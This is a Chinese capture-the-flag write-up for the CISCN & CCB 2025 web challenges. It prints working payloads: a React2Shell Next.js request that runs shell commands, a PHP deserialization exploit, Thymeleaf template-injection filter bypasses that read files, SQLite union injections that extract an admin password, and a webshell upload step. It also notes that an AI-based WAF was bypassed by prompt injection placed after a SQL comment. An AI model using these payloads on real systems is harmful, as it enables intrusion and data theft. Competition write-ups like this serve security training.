目录

  1. 1. 前言
  2. 2. dedecms
  3. 3. Redjs
  4. 4. hellogate
  5. 5. Deprecated
  6. 6. EzJava
  7. 7. AI_WAF
  8. 8. 0o0o0o0o0(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CISCN&CCB2025

2025/12/28 CTF线上赛
  |     |   总文章阅读量:

前言

第十九届全国大学生信息安全竞赛(创新能力实践赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛

神秘 11 道 web 题


dedecms

前台注册一个前台账户发现有一个 Aa123456789 的账户,尝试登录发现是管理员账户

Aa123456789:Aa123456789 登录后台

进入后台,核心-普通文章-添加文档-缩略图处可以上传文件,直接传个图片马改 php 后缀上去

然后就 getshell 了


Redjs

react2shell 秒了

POST /apps HTTP/2.0
Host: eci-2zee0kaqistouenwy4dr.cloudeci1.ichunqiu.com:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
sec-fetch-mode: navigate
cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1757815655
accept-encoding: gzip, deflate, br, zstd
sec-fetch-dest: document
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
te: trailers
sec-fetch-site: none
sec-fetch-user: ?1
priority: u=0, i
accept-language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

hellogate

进去一张图,抓包一看源码藏在响应体底下

<?
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

exp:

<?php
class A {
    public $handle;
}
class B {
    public $worker;
    public $cmd="/flag";
}
class C {
    public $cmd;
}
$a = new B();
$a->worker = new A();
echo serialize($a);

Deprecated

高能回献给上一届 ccb 决赛的情书对吗

那还说啥了,直接抄 a1natas 的公众号就是了

经典 rs256 与 hs256 的偏差


EzJava

题目描述说删除了所有的系统命令,需要读取敏感文件

弱口令 admin:admin123 直接登进去,有一个模板渲染预览的功能,一眼 thymeleaf

测试了下发现有如下检测替换:

T( 换成 NoNo
new 换成 Wow
flag 换成 Xxxx

直接用空格绕过第一个检测,先尝试列出目录

<p th:text="${T (java.util.Arrays).toString(T (java.io.File).listRoots()[0].list())}"></p>

可知 flag 在 /flag_y0u_d0nt_kn0w

然后通过索引读取内容:

<p th:text="${T (java.io.File).readAllLines(T (java.nio.files.Paths).get('/'.concat(T (java.io.File).listRoots()[0].list()[19]))).get(0)}"></p>

AI_WAF

/search 一个 sql 注入,说是用 AI 进行 WAF 的,测了下应该是根据 confidence 超过某个值来判断是否拦截的

fuzz 一下:

不可用: ['select', 'SELECT', 'union', 'UNION', 'union select', 'and', 'or', 'where', 'WHERE', 'order', 'ORDER', 'group', 'as', 'sleep', 'char', 'benchmark', 'concat']

ban 得一干二净,既然题目强调是 AI,那就尝试提示词注入,在 -- 注释符后面加上自己的提示词


0o0o0o0o0(Unsolved)

别笑,我来了没过第二关

随便注册一个账户上去,访问 data 接口,测试发现 id 存在 sql 注入

fuzz 一下:

不可用: ['or', '||', 'order', 'ORDER', 'as', 'ascii', 'mid', 'left', '--', 'information_schema', 'database', 'floor', 'sqlite_master', 'word', '%23']

注释符不能用 --# ,考虑手动闭合,后面发现是 sqlite 可以支持 /* 注释

-1' union select 1, 'test', 3 where '1'='1

可以联合查询返回三个回显位,由于 database 被 ban 了没法得知数据库名,猜出 users 表

因为是 sqlite 所以可以查一下有哪些列:

-1' union select 1, group_concat(name), 3 from pragma_table_info('users') where '1'='1

|ID|Name (UUID)|Content (UUID)|
|---|---|---|
|1|3|id,create_time,email,password,role,username|

尝试查询 ADMIN 的 users

-1' union select 1, role, username from users where role='ADMIN


ID	Name (UUID)	Content (UUID)
1	user457f285e	ADMIN

但是由于 password 被 ban 了,考虑利用别名进行无列名注入:

-1' union select 1, x.d, 3 from (select 1 a, 2 b, 3 c, 4 d, 5 e, 6 f union select * from users where role = 'ADMIN') x limit 1 offset 1/*

|ID|Name (UUID)|Content (UUID)|
|---|---|---|
|1|3|eb3118d7-29ba-46dc-9af3-10fdc41510f9|

得到 admin 的密码,可以登录到 admin

进去 admin panel 发现里面是一个上传 excel 并解析的功能,不会做来不及了 😭